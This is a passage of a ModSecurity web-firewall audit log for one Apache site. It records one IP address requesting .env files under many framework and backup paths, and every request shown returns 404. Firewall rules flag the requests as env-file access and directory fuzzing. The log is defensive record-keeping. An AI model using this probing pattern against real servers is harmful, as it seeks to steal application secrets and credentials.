Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--80f47a43-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--80f47a43-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/node/.env"] [unique_id "aqYL8WM7dE9KgIIOpQhdxAAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266929184316 118084 (- - -)
Stopwatch2: 1789266929184316 118084; combined=4400, p1=343, p2=3984, p3=0, p4=0, p5=73, sr=155, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--80f47a43-Z--

--b35eb158-A--
[13/Sep/2026:05:35:31.273705 +0300] aqYL80wu1RSkptiiNIXtrgAAAIs 34.175.231.24 57882 127.0.0.1 7081
--b35eb158-B--
GET /express/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b35eb158-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b35eb158-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/express/.env"] [unique_id "aqYL80wu1RSkptiiNIXtrgAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266931156427 117333 (- - -)
Stopwatch2: 1789266931156427 117333; combined=4179, p1=239, p2=3824, p3=0, p4=0, p5=116, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b35eb158-Z--

--25b08149-A--
[13/Sep/2026:05:35:33.393320 +0300] aqYL9Uwu1RSkptiiNIXtsAAAAJI 34.175.231.24 57894 127.0.0.1 7081
--25b08149-B--
GET /next/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--25b08149-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--25b08149-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/next/.env"] [unique_id "aqYL9Uwu1RSkptiiNIXtsAAAAJI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266933273783 119591 (- - -)
Stopwatch2: 1789266933273783 119591; combined=5040, p1=834, p2=4133, p3=0, p4=0, p5=72, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--25b08149-Z--

--a439a47c-A--
[13/Sep/2026:05:35:35.328320 +0300] aqYL90wu1RSkptiiNIXtsQAAAJQ 34.175.231.24 57902 127.0.0.1 7081
--a439a47c-B--
GET /nuxt/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a439a47c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a439a47c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/nuxt/.env"] [unique_id "aqYL90wu1RSkptiiNIXtsQAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266935211994 116381 (- - -)
Stopwatch2: 1789266935211994 116381; combined=3961, p1=210, p2=3662, p3=0, p4=0, p5=89, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a439a47c-Z--

--e9281453-A--
[13/Sep/2026:05:35:37.173649 +0300] aqYL@SsVWymXUono-eRQsQAAAAg 34.175.231.24 48492 127.0.0.1 7081
--e9281453-B--
GET /nest/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e9281453-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e9281453-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/nest/.env"] [unique_id "aqYL@SsVWymXUono-eRQsQAAAAg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266937045116 128591 (- - -)
Stopwatch2: 1789266937045116 128591; combined=6599, p1=457, p2=6088, p3=0, p4=0, p5=54, sr=211, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e9281453-Z--

--bcff6f1a-A--
[13/Sep/2026:05:35:39.403148 +0300] aqYL@0wu1RSkptiiNIXtswAAAIU 34.175.231.24 48510 127.0.0.1 7081
--bcff6f1a-B--
GET /react/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--bcff6f1a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bcff6f1a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/react/.env"] [unique_id "aqYL@0wu1RSkptiiNIXtswAAAIU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266939264374 138829 (- - -)
Stopwatch2: 1789266939264374 138829; combined=6776, p1=424, p2=6292, p3=0, p4=0, p5=59, sr=111, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bcff6f1a-Z--

--97f5c019-A--
[13/Sep/2026:05:35:40.913887 +0300] aqYL-GM7dE9KgIIOpQhdxgAAANE 34.175.231.24 48534 127.0.0.1 7081
--97f5c019-B--
GET /vue/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--97f5c019-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--97f5c019-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/vue/.env"] [unique_id "aqYL-GM7dE9KgIIOpQhdxgAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266940797259 116693 (- - -)
Stopwatch2: 1789266940797259 116693; combined=4502, p1=258, p2=4186, p3=0, p4=0, p5=58, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--97f5c019-Z--

--25b08149-A--
[13/Sep/2026:05:35:43.074284 +0300] aqYL-jTJ6xTvcJoem7f1igAAAEQ 34.175.231.24 48546 127.0.0.1 7081
--25b08149-B--
GET /angular/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--25b08149-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--25b08149-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/angular/.env"] [unique_id "aqYL-jTJ6xTvcJoem7f1igAAAEQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266942953387 120952 (- - -)
Stopwatch2: 1789266942953387 120952; combined=5677, p1=337, p2=5278, p3=0, p4=0, p5=62, sr=176, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--25b08149-Z--

--0ed9951c-A--
[13/Sep/2026:05:35:44.882914 +0300] aqYMAEwu1RSkptiiNIXttQAAAJc 34.175.231.24 48566 127.0.0.1 7081
--0ed9951c-B--
GET /svelte/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--0ed9951c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0ed9951c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/svelte/.env"] [unique_id "aqYMAEwu1RSkptiiNIXttQAAAJc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266944767035 115968 (- - -)
Stopwatch2: 1789266944767035 115968; combined=4327, p1=281, p2=3986, p3=0, p4=0, p5=60, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0ed9951c-Z--

--a74e4309-A--
[13/Sep/2026:05:35:46.707449 +0300] aqYMAmM7dE9KgIIOpQhdyAAAANY 34.175.231.24 42500 127.0.0.1 7081
--a74e4309-B--
GET /vite/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a74e4309-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a74e4309-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/vite/.env"] [unique_id "aqYMAmM7dE9KgIIOpQhdyAAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266946583835 123668 (- - -)
Stopwatch2: 1789266946583835 123668; combined=5222, p1=1056, p2=4109, p3=0, p4=0, p5=56, sr=165, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a74e4309-Z--

--a439a47c-A--
[13/Sep/2026:05:35:48.582738 +0300] aqYMBDTJ6xTvcJoem7f1iwAAAEw 34.175.231.24 42524 127.0.0.1 7081
--a439a47c-B--
GET /backup/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a439a47c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a439a47c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/backup/.env"] [unique_id "aqYMBDTJ6xTvcJoem7f1iwAAAEw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266948448406 134407 (- - -)
Stopwatch2: 1789266948448406 134407; combined=4283, p1=294, p2=3934, p3=0, p4=0, p5=54, sr=130, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a439a47c-Z--

--bcff6f1a-A--
[13/Sep/2026:05:35:50.585445 +0300] aqYMBjTJ6xTvcJoem7f1jQAAAEE 34.175.231.24 42550 127.0.0.1 7081
--bcff6f1a-B--
GET /backups/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--bcff6f1a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bcff6f1a-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backups/.env||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/backups/.env||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backups/.env||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/backups/.env"] [unique_id "aqYMBjTJ6xTvcJoem7f1jQAAAEE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/backups/.env||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/backups/.env"] [unique_id "aqYMBjTJ6xTvcJoem7f1jQAAAEE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/backups/.env"] [unique_id "aqYMBjTJ6xTvcJoem7f1jQAAAEE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266950437079 148434 (- - -)
Stopwatch2: 1789266950437079 148434; combined=33359, p1=300, p2=32984, p3=0, p4=0, p5=74, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bcff6f1a-Z--

--b881dd1d-A--
[13/Sep/2026:05:35:52.353301 +0300] aqYMCGM7dE9KgIIOpQhdyQAAAMY 34.175.231.24 42568 127.0.0.1 7081
--b881dd1d-B--
GET /old/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b881dd1d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b881dd1d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/old/.env"] [unique_id "aqYMCGM7dE9KgIIOpQhdyQAAAMY"]
